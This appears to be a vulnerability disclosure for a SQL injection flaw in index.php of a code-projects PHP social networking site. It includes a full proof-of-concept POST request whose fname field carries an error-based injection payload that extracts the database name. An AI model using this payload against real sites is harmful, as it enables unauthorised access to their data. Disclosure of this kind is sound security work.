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A SQL injection vulnerability was found in the Nero Social Networking Site In PHP With Source
Code project of code-projects. The reason is that the parameters input by users are not filtered
in the index.php interface, resulting in an injection vulnerability.
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The parameters entered by the user are directly spliced into the SQL statement

code
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POST /index.php HTTP/1.1
Host: 10.211.55.4:8066
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://10.211.55.4:8066/index.php
Cookie: PHPSESSID=si8ae5b5mou1p6fl4op47jnc66
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) 
Gecko/20100101 Firefox/136.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://10.211.55.4:8066
Content-Length: 181

fname=xby'+AND+EXTRACTVALUE(3631,CONCAT(0x5c,(SELECT+
(database())),0x5c))+AND+'RrvT'='RrvT&lname=xby&login=xby&password2=xby&cpassword
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